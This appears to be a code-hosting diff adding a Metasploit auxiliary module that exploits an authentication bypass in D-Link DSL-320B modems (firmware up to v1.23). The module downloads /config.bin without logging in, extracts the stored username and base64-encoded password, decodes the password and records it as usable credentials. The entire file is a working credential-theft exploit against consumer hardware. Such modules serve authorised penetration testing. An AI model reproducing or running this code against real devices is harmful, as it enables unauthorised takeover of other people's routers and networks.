|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + include Msf::Auxiliary::Report |
| 14 | + |
| 15 | + def initialize |
| 16 | + super( |
| 17 | + 'Name' => 'DLink DSL 320B Password Extractor', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits an authentication bypass vulnerability in DSL 320B =< v1.23. |
| 20 | + With this vulnerability you are able to extract the password for the remote management. |
| 21 | + }, |
| 22 | + 'References' => |
| 23 | + [ |
| 24 | + [ 'URL', 'http://www.dlink.com/de/de/home-solutions/connect/modems-and-gateways/dsl-320b-adsl-2-ethernet-modem' ], |
| 25 | + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-018' ], |
| 26 | + [ 'EDB', '25252' ], |
| 27 | + [ 'OSVDB', '93013' ] |
| 28 | + ], |
| 29 | + 'Author' => [ |
| 30 | + 'Michael Messner <[email protected]>', |
| 31 | + ], |
| 32 | + 'License' => MSF_LICENSE |
| 33 | + ) |
| 34 | + end |
| 35 | + |
| 36 | + def run |
| 37 | + |
| 38 | + vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device") |
| 39 | + |
| 40 | + #download configuration |
| 41 | + begin |
| 42 | + res = send_request_cgi({ |
| 43 | + 'uri' => '/config.bin', |
| 44 | + 'method' => 'GET', |
| 45 | + }) |
| 46 | + |
| 47 | + return if res.nil? |
| 48 | + return if (res.headers['Server'].nil? or res.headers['Server'] !~ /micro_httpd/) |
| 49 | + return if (res.code == 404) |
| 50 | + |
| 51 | + if res.body =~ /sysPassword value/ or res.body =~ /sysUserName value/ |
| 52 | + if res.body !~ /sysPassword value/ |
| 53 | + print_line("#{rhost}:#{rport} - Default Configuration of DSL 320B detected - no password section available, try admin/admin") |
| 54 | + else |
| 55 | + print_good("#{rhost}:#{rport} - credentials successfully extracted") |
| 56 | + end |
| 57 | + |
| 58 | + #store all details as loot -> there is some usefull stuff in the response |
| 59 | + loot = store_loot("Configuration_dsl320b.txt","text/plain",rhost, res.body) |
| 60 | + print_good("#{rhost}:#{rport} - Configuration of DSL 320B downloaded to: #{loot}") |
| 61 | + |
| 62 | + res.body.each_line do |line| |
| 63 | + if line =~ /\<sysUserName\ value\=\"(.*)\"\/\>/ |
| 64 | + @user = $1 |
| 65 | + next |
| 66 | + end |
| 67 | + if line =~ /\<sysPassword\ value\=\"(.*)\"\/\>/ |
| 68 | + pass = $1 |
| 69 | + vprint_good("#{rhost}:#{rport} - user: #{@user}") |
| 70 | + #pass = Base64.decode64(pass) |
| 71 | + pass = Rex::Text.decode_base64(pass) |
| 72 | + vprint_good("#{rhost}:#{rport} - pass: #{pass}") |
| 73 | + |
| 74 | + report_auth_info( |
| 75 | + :host => rhost, |
| 76 | + :port => rport, |
| 77 | + :sname => 'http', |
| 78 | + :user => @user, |
| 79 | + :pass => pass, |
| 80 | + :active => true |
| 81 | + ) |
| 82 | + end |
| 83 | + end |
| 84 | + end |
| 85 | + rescue ::Rex::ConnectionError |
| 86 | + vprint_error("#{rhost}:#{rport} - Failed to connect to the web server") |
| 87 | + return |
| 88 | + end |
| 89 | + |
| 90 | + |
| 91 | + end |
| 92 | +end |
0 commit comments